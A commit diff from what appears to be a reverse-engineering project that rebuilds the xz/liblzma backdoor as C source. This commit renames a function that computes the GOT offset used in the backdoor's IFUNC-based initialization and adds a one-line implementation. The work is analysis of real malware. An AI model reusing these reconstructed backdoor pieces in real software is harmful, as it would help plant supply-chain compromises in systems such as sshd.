xzre_code: add update_got_offset

xzre.h

@@ -2859,24 +2859,23 @@ extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
  * 
  * stores the address of the symbol cpuid_random_symbol in elf_entry_ctx_t::symbol_ptr
  * stores the return address of the function that called the IFUNC resolver which is a stack address in ld.so
- * calls get_got_offset() to update elf_entry_ctx_t::got_offset 
- * calls get_cpuid_got_index() to update elf_entry_ctx_t::cpuid_fn
+ * calls update_got_offset() to update elf_entry_ctx_t::got_offset 
+ * calls get_cpuid_got_index() to update @ref elf_entry_ctx_t.got_ctx.cpuid_fn
  * 
  * @param ctx
  */
 extern void init_elf_entry_ctx(elf_entry_ctx_t *ctx);
 
 /**
- * @brief get the offset to the GOT
+ * @brief updates the offset to the GOT
  * 
- * the offset is relative to the address of the symbol cpuid_random_symbol
- * 
- * stores the offset in elf_entry_ctx_t::got_offset
+ * the offset is the distance to the GOT relative to the address of the symbol cpuid_random_symbol
+ * this value is stored in @ref elf_entry_ctx_t.got_ctx.got_offset
  * 
  * @param ctx
- * @return ptrdiff_t offset to GOT from the symbol cpuid_random_symbol
+ * @return ptrdiff_t 
  */
-extern ptrdiff_t get_got_offset(elf_entry_ctx_t *ctx);
+extern void update_got_offset(elf_entry_ctx_t *ctx);
 
 /**
  * @brief get the cpuid() GOT index
@@ -3940,7 +3939,7 @@ static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
  * 
  * liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets
  * 
- * used by call_backdoor_init_stage2(), get_got_offset() and get_cpuid_got_index()
+ * used by call_backdoor_init_stage2(), update_got_offset() and get_cpuid_got_index()
  * 
  */
 extern const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts;

xzre.lds.in

@@ -91,7 +91,7 @@ SECTIONS_BEGIN()
 	/* 0000000000003F50 */ DEFSYM(get_cpuid_got_index, .text.lzma_stream_decoder_inia)
 	/* 0000000000003F70 */ DEFSYM(get_tls_get_addr_random_symbol_got_offset, .text.lzma_stream_flags_compara)
 	/* 0000000000003F90 */ DEFSYM(update_got_address, .text.lzma_stream_header_encoda)
-	/* 0000000000004000 */ DEFSYM(get_got_offset, .text.parse_delt1)
+	/* 0000000000004000 */ DEFSYM(update_got_offset, .text.parse_delt1)
 	/* 0000000000004020 */ DEFSYM(init_elf_entry_ctx, .text.read_output_and_waia)
 	/* 0000000000004050 */ DEFSYM(get_lzma_allocator, .text.stream_decoder_memconfia)
 	/* 0000000000004070 */ DEFSYM(find_link_map_l_name, .text.lzma_delta_props_encoda)

xzre_code/CMakeLists.txt

@@ -20,6 +20,7 @@ add_library(xzre_code
 	secret_data_get_decrypted.c
 	sha256.c
 	sshd_patch_variables.c
+	update_got_offset.c
 )
 target_compile_options(xzre_code PRIVATE
 	-Os -fomit-frame-pointer

xzre_code/init_elf_entry_ctx.c

@@ -6,7 +6,7 @@
 void init_elf_entry_ctx(elf_entry_ctx_t *ctx){
 	ctx->symbol_ptr = (void *)&cpuid_random_symbol;
 	ctx->got_ctx.return_address = (void *)ctx->frame_address[3];
-	get_got_offset(ctx);
+	update_got_offset(ctx);
 	get_cpuid_got_index(ctx);
 	ctx->got_ctx.got_ptr = NULL;
 }

xzre_code/update_got_offset.c

@@ -0,0 +1,8 @@
+/**
+ * Copyright (C) 2024 Stefano Moioli <[email protected]>
+ **/
+#include "xzre.h"
+
+void update_got_offset(elf_entry_ctx_t *ctx){
+	ctx->got_ctx.got_offset = cpuid_reloc_consts.cpuid_random_symbol_got_offset;
+}